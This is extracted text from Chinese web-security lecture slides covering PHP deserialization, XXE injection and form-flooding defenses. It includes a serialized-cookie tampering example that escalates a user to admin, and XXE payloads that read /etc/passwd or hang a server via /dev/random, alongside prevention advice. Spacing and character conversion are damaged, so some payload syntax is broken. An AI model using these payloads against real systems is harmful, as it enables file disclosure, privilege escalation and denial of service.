Deserialization):將序列化的數(shù)據(jù)反向重新構(gòu)建對象的過程目的:為了方便PHP對象的傳輸和存儲serialize()unserialize()序列化只是序列化屬性,不序列化方法unserialize接收的參數(shù)如果用戶可控,則可以傳入構(gòu)造的字符串,實現(xiàn)攻擊要尋找合適的能被控制的屬性,利用本身存在的方法魔術(shù)方法(以__開頭)construct():當對象創(chuàng)建時會自動調(diào)用(但在unserialize()時不會自動調(diào)用)wakeup():unserialize()時會自動調(diào)用destruct():當對象被銷毀時會自動調(diào)用toString():當反序列化后的對象被輸出在模板中的時候(轉(zhuǎn)換成字符串的時候)自動調(diào)用get():當從不可訪問的屬性讀取數(shù)據(jù)call():在對象上下文中調(diào)用不可訪問的方法時觸發(fā)Aurora對象的$test變量為一個Evil對象Evil對象中的$test2變量為想要執(zhí)行的系統(tǒng)命令A(yù)urora對象銷毀時,調(diào)用destruct()函數(shù),進而調(diào)用Evil的action函數(shù),進而執(zhí)行$test2中想要執(zhí)行的系統(tǒng)命令兩種主要類型:對象和數(shù)據(jù)結(jié)構(gòu)攻擊:如果存在可以在反序列化過程中或之后被改變行為的類,則攻擊者可以通過改變應(yīng)用邏輯或者實現(xiàn)遠程代碼執(zhí)行攻擊數(shù)據(jù)篡改攻擊:如訪問控制相關(guān)的攻擊——使用現(xiàn)有的數(shù)據(jù)結(jié)構(gòu),但內(nèi)容發(fā)生變化攻擊場景:使用PHP序列化保存cookie:包含用戶的用戶ID、角色、密碼哈希和其他狀態(tài):a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}攻擊者更改序列化對象以授予自己admin權(quán)限:a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}?如何防止唯一安全的架構(gòu)模式是不接受來自不受信源的序列化對象,或使用只允許原始數(shù)據(jù)類型的序列化如果上述不可能的話,考慮下述方法:執(zhí)行完整性檢查:如任何序列化對象的數(shù)字簽名,以防止惡意對象創(chuàng)建或數(shù)據(jù)篡改在創(chuàng)建對象前強制執(zhí)行嚴格的類型約束,因為代碼通常被期望成一組可定義的類記錄反序列化的例外情況和失敗信息,如傳入的類型不是預(yù)期的類型,或者反序列處理引發(fā)的例外情況限制或監(jiān)視來自于容器或服務(wù)器傳入和傳出的反序列化網(wǎng)絡(luò)連接監(jiān)控反序列化,當用戶持續(xù)進行反序列化時,對用戶進行警告XXE漏洞(XMLExternalEntity,XML外部實體注入攻擊):如果可以上傳XML文檔或在XML文檔中添加惡意內(nèi)容,通過易受攻擊的代碼、依賴項,攻擊者就能夠攻擊含有缺陷的XML處理器。XML:可擴展標記語言(EXtensible

Markup

Language)類似HTML設(shè)計宗旨是傳輸數(shù)據(jù),而非顯示數(shù)據(jù)XML標簽沒有被預(yù)定義。需要自行定義標簽攻擊者可以利用外部實體竊取使用URI文件處理器的內(nèi)部文件和共享文件、監(jiān)聽內(nèi)部掃描端口、執(zhí)行遠程代碼和實施拒絕服務(wù)攻擊XML外部實體(XXE)<!--XML聲明--><?xmlversion="1.0"encoding="UTF-8"?>

<!--DTD,文檔類型聲明--><!DOCTYPEnote[<!ELEMENTnote(body)><!ELEMENTbody(#PCDATA)><!ENTITYtest"BXS">]>

<!--文檔元素--><note><body>&test;</body></note>一個XML文檔包含XML聲明DTD文檔類型定義(可選)文檔元素三個部分實體分類:參數(shù)實體命名實體字符實體外部實體實體引用

字符< <> >& &" "' '參數(shù)實體命名實體字符實體外部實體XML文件combine.dtd參數(shù)實體引用:%name;其他實體引用:&name;參數(shù)實體命名實體字符實體外部實體參數(shù)實體命名實體字符實體外部實體XXE漏洞一般發(fā)生在應(yīng)用程序解析XML輸入時,沒有處理好外部實體的加載嘗試從服務(wù)端提取數(shù)據(jù)<?xmlversion="1.0"encoding="ISO-8859-1"?><!DOCTYPEfoo[<!ELEMENTfooANY><!ENTITYxxeSYSTEM"file:///etc/passwd">]><foo>&xxe;</foo>/請求中定義了名為myentity、值為’CUMT’的實體。響應(yīng)報文將實體內(nèi)容呈現(xiàn)出來是一個命名實體,內(nèi)容是一個字符串,返回字符串的內(nèi)容;實體如果引用了系統(tǒng)的敏感文件,那么返回就是敏感文件的內(nèi)容利用XXE進行攻擊簡單文件讀取<?xmlversion="1.0"?><!DOCTYPEANY[ <!ENTITYcontentSYSTEM"file:///etc/passwd">]><note> <name>&content;</name></note>

<?xmlversion="1.0"encoding="ISO-8859-1"?><!DOCTYPEfoo[<!ELEMENTfooANY><!ENTITYxxeSYSTEM"file:///dev/random">]><foo>&xxe;</foo>拒絕服務(wù):如果XML解析器嘗試使用/dev/random文件中的內(nèi)容來替代實體,則此示例會使服務(wù)器(使用UNIX系統(tǒng))崩潰/dev/random:Linux系統(tǒng)中提供的隨機偽設(shè)備,是提供永不為空的隨機字節(jié)數(shù)據(jù)流?如何防止盡可能使用簡單的數(shù)據(jù)格式(如JSON),避免對敏感數(shù)據(jù)進行序列化及時修復(fù)或更新應(yīng)用程序或操作系統(tǒng)使用的XML處理器和庫。將SOAP(簡單對象訪問協(xié)議)更新到1.2版本或更高版本在XML解析器中禁用XML外部實體和DTD進程在服務(wù)器端實施積極的(白名單)輸入驗證、過濾和清理驗證XML或XSL文件上傳功能是否使用XSD驗證或其他類似驗證方法來驗證上傳的XML文件XMLSchemaDefinition:基于XML的DTD替代者使用SAST(StaticApplicationSecurityTesting,又稱SourceCodeAnalysisTools)工具檢測源代碼中的部分XXE漏洞使用API安全網(wǎng)關(guān)、WAF檢測、監(jiān)控和防止XXE攻擊驗證內(nèi)容所有來源的輸入所有輸出到客戶端的內(nèi)容建立一個可信邊界驗證方法驗證數(shù)據(jù)的長度,大小,類型,格式及內(nèi)容使用服務(wù)器端代碼做最終驗證不使用黑名單進行驗證數(shù)據(jù)非法,程序停止運行,切勿試圖修正數(shù)據(jù)111Web攻擊的防御基于表單自動提交的HTTP攻擊涉及到用戶交互的很多操作(如注冊、登錄、發(fā)貼等)都是用表單的方式實現(xiàn)攻擊者可以編程模擬表單提交,將非正常的數(shù)據(jù)向網(wǎng)站服務(wù)器自動、快速提交,就構(gòu)成了基于表單自動提交的HTTP攻擊112Web攻擊防御之網(wǎng)頁驗證碼HTTP攻擊可能導(dǎo)致以下安全問題:攻擊者在短時間內(nèi)注冊大量的Web服務(wù)賬戶。不但占用大量的服務(wù)器及數(shù)據(jù)庫資源,還可能使用這些賬戶為其他用戶制造麻煩,如發(fā)送垃圾郵件或通過同時登錄多個賬戶來延緩服務(wù)速度等攻擊者通過反復(fù)登錄來暴力破解用戶密碼攻擊者在論壇中迅速發(fā)表成千上萬的垃圾帖子,嚴重影響

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

最新文檔

評論

0/150

提交評論